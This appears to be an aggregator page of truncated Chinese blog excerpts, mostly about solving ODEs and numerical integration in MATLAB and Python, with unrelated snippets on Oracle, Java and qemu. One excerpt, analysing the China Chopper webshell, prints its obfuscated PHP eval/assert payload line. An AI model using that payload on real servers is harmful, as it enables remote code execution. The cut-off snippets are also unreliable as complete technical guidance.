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python数值积分
本小节求解下述定积分:$$int_{0.7}^4(cos(2πx)e^{-x}+1.2)mathrm{d}x$$版权声明本文可以在互联网上自由转载,但必须:注明出处(作者:海洋饼干叔叔)并包含指向本页面的链接。本文不可以以纸质出版为目的进行改编、摘抄。数值积分-integrateintegrate模块提供了好几种数值积分的方法,包括常微分方程组(ODE)的数值积分。相关函数列表如下:函数名作用函数
- SciPy:基于 NumPy 的算法库和数学工具包,用于数学、科学和工程领域。
Jr_l
#数据科学scipynumpy算法
引言SciPy是一个基于NumPy的开放源码算法库和数学工具包,广泛应用于数学、科学、工程等领域。SciPy扩展了NumPy的功能,提供了更高级的数学算法和函数,使得科学计算更加便捷和高效。SciPy的目标是为用户提供一个全面的科学计算环境,其中涵盖了常见的线性代数、优化、积分、插值、傅里叶变换、信号处理、统计、图像处理、以及ODE(常微分方程)求解等功能。作为NumPy的自然延伸,SciPy主要
- ODE45——求解状态变量(微分方程组)
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控制系统仿真与CAD
ode45函数ode45实际上是数值分析中数值求解微分方程组的一种方法,4阶五级Runge-Kutta算法。调用方法[t,x]=ode45(Fun,tspan,x0,options,pars)[t,x]=ode45(Fun,tspan,x_0,options,pars)[t,x]=ode45(Fun,tspan,x0,options,pars)其实这种方程的每一个状态变量都是t的函数,我们可以从现
- matlab+Simulink实现微分方程求解及子系统封装
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1.内容(一)、Lorenz模型的状态方程表示为:初值为要求:1.建立脚本,采用四阶五级的(Runge-Kutta-Felhberg,RKF)方法,调用ode45()方法求解该方程;2.在Simulink下完成下列要求:(1)在Simulink下为上述方程组建立仿真模型,保存在st1.mdl中;(2)仿真时间tout初值为0,终值根据实际情况而定,在图形窗口中设置4个子窗口,将x1(t),x2(t
- python怎么算积分_Python求解数值积分-定积分求解
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python怎么算积分
本小节求解下述定积分:数值积分-integrateintegrate模块提供了好几种数值积分的方法,包括常微分方程组(ODE)的数值积分。相关函数列表如下:quad()-一元定积分dblquad()-二元定积分triquad()-三元定积分odeint()-计算常微分方程组的数值解本文节选自作者的《Python编程基础及应用》视频教程。Python编程基础及应用_哔哩哔哩(゜-゜)つロ干杯~-bi
- 微分方程应用(MATLAB)
学习不止,掉发不停
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【例题1】matlab求解微分方程的解析解closeallclearclct_final=100;x0=[0;0;1e-10];f=@(t,x)[-8/3*x(1)+x(2)*x(3);-10*x(2)+10*x(3);-x(1)*x(2)+28*x(2)-x(3)];[t,x]=ode45(f,[0,t_final],x0);plot(t,x),figure;plot3(x(:,1),x(:,2
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落叶翩翩
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一.like查询与索引在oracle里的一个超级大的表中,我们的where条件的列有建索引的话,会走索引唯一扫描INDEXUNIQUESCAN。如select*fromtablewherecode='Cod25',而如下这些语句哪些会走索引呢?Sql代码select*fromtablewherecodelike'Code2%'select*fromtablewherecodelike'%ode2%
- You Are the April of This world Ode to Love你是人间的四月天
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IthinkyouaretheAprilofthisworld,Sure,youaretheAprilofthisworld.我说你是人间的四月天;Yourlaughterhaslitupallthewind,笑响点亮了四面风;轻灵Sogentlyminglingwiththespring.在春的光艳中交舞着变。Youarethecloudsinearlyspring,你是四月早天里的云烟,The
- MATLAB ode函数使用过程中微分方程创建方法
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MATLABode函数使用过程中微分方程创建方法例题一范德波尔方程以上给出了方程以及方程的初试条件functiondy=vdp1000(t,y)dy=zeros(2,1);dy(1)=y(2);%初试设定是dy(1)=y(1)';dy(2)=y(2)';而此句规定y(1)'=y(2)从而有dy(2)=y(2)'=y(1)''dy(2)=1000*(1-y(1)^2)*y(2)-y(1);%注意到方
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【实例简介】MATLAB电机仿真精华50例源代码,包括同步电机,异步电机的仿真模型,和闭环控制等【实例截图】【核心代码】《MATLAB电机仿真精华50例》源代码└──《MATLAB电机仿真精华50例》源代码├──第六节同步电机│├──abc系统││├──fangzhen.m││├──sh_ge_se_ex_ode.m││├──sh_ge_se_ex_so.m││└──tongbufadianji.
- 四阶龙格库塔法 matlab ode45,微分方程的数值解法matlab(四阶龙格—库塔法)
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《微分方程的数值解法matlab(四阶龙格—库塔法)》由会员分享,可在线阅读,更多相关《微分方程的数值解法matlab(四阶龙格—库塔法)(36页珍藏版)》请在人人文库网上搜索。1、微分方程的数值解法,四阶龙格库塔法(TheFourth-OrderRungeKuttaMethod),常微分方程(Ordinarydifferentialequations,ODE),初值问题-给出初始值边值问题-给出
- Matlab 求解非刚性微分方程(ode45)
EasonZzzzzzz
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语法1、[t,y]=ode45(odefun,tspan,y0)2、[t,y]=ode45(odefun,tspan,y0,options)3、[t,y,te,ye,ie]=ode45(odefun,tspan,y0,options)4、sol=ode45(___)描述[t,y]=ode45(odefun,tspan,y0)其中,tspan=[t0tf]为微分方程odefun的积分区间,y0为初始
- Python和Julia TensorFlow科学计算常微分方程求解器
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常微分方程常微分方程(ODE)可用于描述动态系统。从某种程度上来说,我们生活在一个动态系统中,窗外的天气从黎明到黄昏都在变化,我们体内发生的新陈代谢也是一个动态系统,因为随着时间的推移,成千上万的反应和分子被合成和降解。更正式地说,如果我们定义一组变量,比如一天的温度,或者某个时间点X分子的数量,并且它随着自变量的变化而变化(在动态系统中,通常是时间t)。ODE为我们提供了一种以数学方式描述定义变
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当难以求得微分方程的解析解时,可以求其数值解,Matlab中求微分方程数值解的函数有七个:ode45,ode23,ode113,ode15s,ode23s,ode23t,ode23tb。本文讲解ode45,其实原理都是相似的。一、函数语法ode45函数的形式张下面的样子[T,Y]=ode45(odefun,tspan,y0,options)odefun:函数句柄,用于表示ODE的右侧,例如:dy/
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1.初识Node.js1.1什么是Node.js1.2Node.js中的JavaScript运行环境1.3Node.js可以做什么Node.js作为一个JavaScript的运行环境,仅仅提供了基础的功能和AP1。然而,基于ode.s提供的这些基础能,很多强大的工具和框架如雨后春笋,层出不穷,所以学会了Nodejs,可以让前端程序员胜任更多的工作和岗位:基于Express框架(http://www
- 生成扩散模型理论框架
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1、随机微分方程(StochasticDifferentialEquation,SDE)DDPM的一般化形式2、常微分方程(Ordinarydifferentialequation,ODE)DDIM的一般化形式3、得分匹配(Scorematching)即求解得分函数(Scorefunction)。得分函数是数据的log密度的梯度(thegradientofthelog-densitywithres
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原作者日期2022-12:目前不能运行TypeError:diffeqs()missing4requiredpositionalarguments:'d','k','delta',and'p'#原发性HIV感染期间血浆病毒浓度建模#from:https://stackoverflow.com/questions/74791991/ode-fitting-with-python-least-squa
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对菜刀2016版的分析1、caidao.conf文件中的标签是执行PHP一句话的关键所在。比如:array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));而一句话所在服务器端(以后简称木马端)代码是://那个标签只是个例子,不是在这改配
- Julia调用Matlab, Python以及R的微分方程求解器
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文章目录从其他语言翻译来的求解器重新封装版本SciML教程系列:Julia求解常微分方程解Lorentz方程求解简谐振动的微分方程求解单摆从其他语言翻译来的求解器对于熟悉MATLAB/Python/R的程序员,可先使用下表中的求解器,因为这些求解器是从这几种语言中翻译而来Julia翻译高效替代ode23BS3()ode45/dopri5DP5()Tsit5()ode23sRosenbrock23(
- =0.10.0"}},"1.'" target="_blank">npm下载时报 Unexpected end of JSON input while parsing near '...ode":">=0.10.0"}},"1.'
安静的做个小白菜
今天npm想下模块结果发现一直不成功,报错如下,后来发现是缓存的问题,输入npmcacheclean--force,清理下,就可以继续下载来了
- 常微分方程(ODE)的数值计算方法
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数学算法数值计算ODE常微分方程runge-kuttamethods
目录1/欧拉法(EulerMethod)[^2]2/龙格-库塔法(Runge-KuttaMethod)2.1/四阶Runge-Kutta方法2.2/Runge-Kutta的一般形式参考常微分方程组的求解比较麻烦,通常在计算机上使用数值计算的方式去进行。假设一阶常微分方程组(ODEs)由下式给出dxdt=fi(x),i=1,2,…,n\frac{dx}{dt}=f_i(x),~i=1,2,\dots
- ODE 第一章 2020.3.12
可积函数类
常微分方程教程:读书笔记丁同仁李承治第一章:基本概念1.1微分方程及其解的定义常微分方程联系变量以及函数及其高阶导数的方程为常微分方程,阶数为n.若对于未知函数及其导数的次数为一次的话,为线性常微分方程。反之,则为非线性的。例子.(1)为线性常微分方程,(2)为非线性的。微分方程的解设函数在区间上连续,且有阶导数,若将该函数及其导数带入微分方程等式成立,则称函数为微分方程在区间上的一个解。微分方程
- 用ode45解一个带有积分的微分方程(integro-differential equations)
book_bbyuan
问题算法
一、问题提出:这个方程来源于mathworks的论坛l这种方程叫integro-differentialequations,大致是带有integralterm的微分方程。积分肯定是定积分,这类方程有的是变上限的积分,上下限是x或者其他微分的函数。按照惯例,先分析。积分区间是0-1,x是自变量,y是应变量,除了积分,其他条件都已知了,不同阶的dy所需要的值如下:比较麻烦的是那个积分,积分是需要预先知
- 用ode45解微分方程遇到的实际问题
book_bbyuan
技术作图算法人工智能
最近在用ode45解微分方程数值解,试图复现论文中的图。一般来说说微分方程(组)只要按照响应的条件去撰写好对应的回调函数即可,基本没什么难度,但对于本文遇到的的这个问题,可能还需要一些技巧去实现解法,这篇文章就来说说我们其中遇到的几个问题。一、问题提出和简单分析:方程的条件和初值如下:常系数和初始变量:模型参数:Ms=1.6x10^6;a=1000;alpha=0.001;,mu0=4πx10^7
- matlab实践(一):利用ode45和四阶龙哥库塔解二阶耦合微分方程
从零开始的奋豆
MATLABmatlab开发语言
1.题目2.ode452.1工具箱介绍ode45-求解非刚性微分方程-中阶方法此MATLAB函数(其中tspan=[t0tf])求微分方程组y'=f(t,y)从t0到tf的积分,初始条件为y0。解数组y中的每一行都与列向量t中返回的值相对应。[t,y]=ode45(odefun,tspan,y0)[t,y]=ode45(odefun,tspan,y0,options)[t,y,te,ye,ie]=
- ROS学习笔记七:工具
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ROSros
仿真:Gazebo调试、可视化:Rviz、rqt命令行工具:rostopic、rosbag……专用工具:Moveit!Gazebo:机器人仿真工具ODE物理引擎用于动力学、导航、感知等任务的模拟Gazebo中基本的操作:按住鼠标左键——平移按住鼠标滚轮——旋转滑动滚轮——放大缩小左侧菜单栏World——现有模型Insert——用于插入模型Rviz:TheRobotVisualizationtool
- 四阶龙格库塔算法及matlab代码
漫道长歌行
matlab龙格库塔法
常微分方程Ordinarydifferentialequation,简称ODE,自变量只有一个的微分方程。例子1:dydx=f(x,y)\dfrac{dy}{dx}=f(x,y)dxdy=f(x,y),f(x,y)f(x,y)f(x,y)是已知函数偏微分方程Partialdifferentialequation,简称PDE,自变量有多个的微分方程。例子2:ut−a2uxx=0,a>0u_t-a^2
- 火箭发射升空——数学模型P163 5.6
亭午
数学建模matlab线性代数几何学矩阵数学建模matlab
考虑空气阻力的模型求解:主要需求解方程9,10,两个方程均无法解析地求解,转而求数值解代替。可以运用matlabode45函数求数值解。求解方程9:%求解方程9燃料还没烧完时tspan1=[060];%求解区间y01=[00];%初值[t1,x1]=ode45('odefun',tspan1,y01);xt1=x1(:,1);%燃料没烧完时火箭高度vt1=x1(:,2);%燃料没烧完时火箭速度函数
- 机器人仿真——gazebo学习笔记(0)
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ROS学习gazebo机器人学习笔记
Gazebo是一个功能强大的三维物理仿真平台,具有强大的物理引擎、高质量的图形渲染能力、重点是他是开源的、免费的。1.Gazebo具备以下几个特点:1.动力学仿真:支持多种高性能物理引擎,像ODE、Bullet等.2.三维可视化环境:x、y、z三维环境。3.传感器仿真:支持传感器数据的仿真。4.多种机器人模型:官方提供了大量的机器人模型,同时也支持自定义机器人模型2.对于想要入门ros、slam的
- C/C++Win32编程基础详解视频下载
择善Zach
编程C++Win32
课题视频:C/C++Win32编程基础详解
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windows事件机制
主讲:择善Uncle老师
学习交流群:386620625
验证码:625
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- Guava Cache使用笔记
bylijinnan
javaguavacache
1.Guava Cache的get/getIfPresent方法当参数为null时会抛空指针异常
我刚开始使用时还以为Guava Cache跟HashMap一样,get(null)返回null。
实际上Guava整体设计思想就是拒绝null的,很多地方都会执行com.google.common.base.Preconditions.checkNotNull的检查。
2.Guava
- 解决ora-01652无法通过128(在temp表空间中)
0624chenhong
oracle
解决ora-01652无法通过128(在temp表空间中)扩展temp段的过程
一个sql语句后,大约花了10分钟,好不容易有一个结果,但是报了一个ora-01652错误,查阅了oracle的错误代码说明:意思是指temp表空间无法自动扩展temp段。这种问题一般有两种原因:一是临时表空间空间太小,二是不能自动扩展。
分析过程:
既然是temp表空间有问题,那当
- Struct在jsp标签
不懂事的小屁孩
struct
非UI标签介绍:
控制类标签:
1:程序流程控制标签 if elseif else
<s:if test="isUsed">
<span class="label label-success">True</span>
</
- 按对象属性排序
换个号韩国红果果
JavaScript对象排序
利用JavaScript进行对象排序,根据用户的年龄排序展示
<script>
var bob={
name;bob,
age:30
}
var peter={
name;peter,
age:30
}
var amy={
name;amy,
age:24
}
var mike={
name;mike,
age:29
}
var john={
- 大数据分析让个性化的客户体验不再遥远
蓝儿唯美
数据分析
顾客通过多种渠道制造大量数据,企业则热衷于利用这些信息来实现更为个性化的体验。
分析公司Gartner表示,高级分析会成为客户服务的关键,但是大数据分析的采用目前仅局限于不到一成的企业。 挑战在于企业还在努力适应结构化数据,疲于根据自身的客户关系管理(CRM)系统部署有效的分析框架,以及集成不同的内外部信息源。
然而,面对顾客通过数字技术参与而产生的快速变化的信息,企业需要及时作出反应。要想实
- java笔记4
a-john
java
操作符
1,使用java操作符
操作符接受一个或多个参数,并生成一个新值。参数的形式与普通的方法调用不用,但是效果是相同的。加号和一元的正号(+)、减号和一元的负号(-)、乘号(*)、除号(/)以及赋值号(=)的用法与其他编程语言类似。
操作符作用于操作数,生成一个新值。另外,有些操作符可能会改变操作数自身的
- 从裸机编程到嵌入式Linux编程思想的转变------分而治之:驱动和应用程序
aijuans
嵌入式学习
笔者学习嵌入式Linux也有一段时间了,很奇怪的是很多书讲驱动编程方面的知识,也有很多书将ARM9方面的知识,但是从以前51形式的(对寄存器直接操作,初始化芯片的功能模块)编程方法,和思维模式,变换为基于Linux操作系统编程,讲这个思想转变的书几乎没有,让初学者走了很多弯路,撞了很多难墙。
笔者因此写上自己的学习心得,希望能给和我一样转变
- 在springmvc中解决FastJson循环引用的问题
asialee
循环引用fastjson
我们先来看一个例子:
package com.elong.bms;
import java.io.OutputStream;
import java.util.HashMap;
import java.util.Map;
import co
- ArrayAdapter和SimpleAdapter技术总结
百合不是茶
androidSimpleAdapterArrayAdapter高级组件基础
ArrayAdapter比较简单,但它只能用于显示文字。而SimpleAdapter则有很强的扩展性,可以自定义出各种效果
ArrayAdapter;的数据可以是数组或者是队列
// 获得下拉框对象
AutoCompleteTextView textview = (AutoCompleteTextView) this
- 九封信
bijian1013
人生励志
有时候,莫名的心情不好,不想和任何人说话,只想一个人静静的发呆。有时候,想一个人躲起来脆弱,不愿别人看到自己的伤口。有时候,走过熟悉的街角,看到熟悉的背影,突然想起一个人的脸。有时候,发现自己一夜之间就长大了。 2014,写给人
- Linux下安装MySQL Web 管理工具phpMyAdmin
sunjing
PHPInstallphpMyAdmin
PHP http://php.net/
phpMyAdmin http://www.phpmyadmin.net
Error compiling PHP on CentOS x64
一、安装Apache
请参阅http://billben.iteye.com/admin/blogs/1985244
二、安装依赖包
sudo yum install gd
- 分布式系统理论
bit1129
分布式
FLP
One famous theory in distributed computing, known as FLP after the authors Fischer, Lynch, and Patterson, proved that in a distributed system with asynchronous communication and process crashes,
- ssh2整合(spring+struts2+hibernate)-附源码
白糖_
eclipsespringHibernatemysql项目管理
最近抽空又整理了一套ssh2框架,主要使用的技术如下:
spring做容器,管理了三层(dao,service,actioin)的对象
struts2实现与页面交互(MVC),自己做了一个异常拦截器,能拦截Action层抛出的异常
hibernate与数据库交互
BoneCp数据库连接池,据说比其它数据库连接池快20倍,仅仅是据说
MySql数据库
项目用eclipse
- treetable bug记录
braveCS
table
// 插入子节点删除再插入时不能正常显示。修改:
//不知改后有没有错,先做个备忘
Tree.prototype.removeNode = function(node) {
// Recursively remove all descendants of +node+
this.unloadBranch(node);
// Remove
- 编程之美-电话号码对应英语单词
bylijinnan
java算法编程之美
import java.util.Arrays;
public class NumberToWord {
/**
* 编程之美 电话号码对应英语单词
* 题目:
* 手机上的拨号盘,每个数字都对应一些字母,比如2对应ABC,3对应DEF.........,8对应TUV,9对应WXYZ,
* 要求对一段数字,输出其代表的所有可能的字母组合
- jquery ajax读书笔记
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jQuery ajax
1、jsp页面
<%@ page language="java" import="java.util.*" pageEncoding="GBK"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()
- JWFD工作流拓扑结构解析伪码描述算法
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数据结构算法工作活动J#
对工作流拓扑结构解析感兴趣的朋友可以下载附件,或者下载JWFD的全部代码进行分析
/* 流程图拓扑结构解析伪码描述算法
public java.util.ArrayList DFS(String graphid, String stepid, int j)
- oracle I/O 从属进程
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oracle
I/O 从属进程
I/O从属进程用于为不支持异步I/O的系统或设备模拟异步I/O.例如,磁带设备(相当慢)就不支持异步I/O.通过使用I/O 从属进程,可以让磁带机模仿通常只为磁盘驱动器提供的功能。就好像支持真正的异步I/O 一样,写设备的进程(调用者)会收集大量数据,并交由写入器写出。数据成功地写出时,写入器(此时写入器是I/O 从属进程,而不是操作系统)会通知原来的调用者,调用者则会
- 高级排序:希尔排序
dieslrae
希尔排序
public void shellSort(int[] array){
int limit = 1;
int temp;
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while(limit <= array.length/3){
limit = limit * 3 + 1;
- 初二下学期难记忆单词
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kitchen 厨房
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salt 盐
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fork 叉;餐叉
spoon 匙;调羹
chopsticks 筷子
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even 甚至;更
Italy 意大利
laugh 笑
m
- Go语言使用MySQL数据库进行增删改查
dcj3sjt126com
mysql
目前Internet上流行的网站构架方式是LAMP,其中的M即MySQL, 作为数据库,MySQL以免费、开源、使用方便为优势成为了很多Web开发的后端数据库存储引擎。MySQL驱动Go中支持MySQL的驱动目前比较多,有如下几种,有些是支持database/sql标准,而有些是采用了自己的实现接口,常用的有如下几种:
http://code.google.c...o-mysql-dri
- git命令
shuizhaosi888
git
---------------设置全局用户名:
git config --global user.name "HanShuliang" //设置用户名
git config --global user.email "
[email protected]" //设置邮箱
---------------查看环境配置
git config --li
- qemu-kvm 网络 nat模式 (四)
haoningabc
kvmqemu
qemu-ifup-NAT
#!/bin/bash
BRIDGE=virbr0
NETWORK=192.168.122.0
GATEWAY=192.168.122.1
NETMASK=255.255.255.0
DHCPRANGE=192.168.122.2,192.168.122.254
TFTPROOT=
BOOTP=
function check_bridge()
- 不要让未来的你,讨厌现在的自己
jingjing0907
生活 奋斗 工作 梦想
故事one
23岁,他大学毕业,放弃了父母安排的稳定工作,独闯京城,在家小公司混个小职位,工作还算顺手,月薪三千,混了混,混走了一年的光阴。 24岁,有了女朋友,从二环12人的集体宿舍搬到香山民居,一间平房,二人世界,爱爱爱。偶然约三朋四友,打扑克搓麻将,日子快乐似神仙; 25岁,出了几次差,调了两次岗,薪水涨了不过百,生猛狂飙的物价让现实血淋淋,无力为心爱银儿购件大牌
- 枚举类型详解
一路欢笑一路走
enum枚举详解enumsetenumMap
枚举类型详解
一.Enum详解
1.1枚举类型的介绍
JDK1.5加入了一个全新的类型的”类”—枚举类型,为此JDK1.5引入了一个新的关键字enum,我们可以这样定义一个枚举类型。
Demo:一个最简单的枚举类
public enum ColorType {
RED
- 第11章 动画效果(上)
onestopweb
动画
index.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
- Eclipse中jsp、js文件编辑时,卡死现象解决汇总
ljf_home
eclipsejsp卡死js卡死
使用Eclipse编辑jsp、js文件时,经常出现卡死现象,在网上百度了N次,经过N次优化调整后,卡死现象逐步好转,具体那个方法起到作用,不太好讲。将所有用过的方法罗列如下:
1、取消验证
windows–>perferences–>validation
把 除了manual 下面的全部点掉,build下只留 classpath dependency Valida
- MySQL编程中的6个重要的实用技巧
tomcat_oracle
mysql
每一行命令都是用分号(;)作为结束
对于MySQL,第一件你必须牢记的是它的每一行命令都是用分号(;)作为结束的,但当一行MySQL被插入在PHP代码中时,最好把后面的分号省略掉,例如:
mysql_query("INSERT INTO tablename(first_name,last_name)VALUES('$first_name',$last_name')");
- zoj 3820 Building Fire Stations(二分+bfs)
阿尔萨斯
Build
题目链接:zoj 3820 Building Fire Stations
题目大意:给定一棵树,选取两个建立加油站,问说所有点距离加油站距离的最大值的最小值是多少,并且任意输出一种建立加油站的方式。
解题思路:二分距离判断,判断函数的复杂度是o(n),这样的复杂度应该是o(nlogn),即使常数系数偏大,但是居然跑了4.5s,也是醉了。 判断函数里面做了3次bfs,但是每次bfs节点最多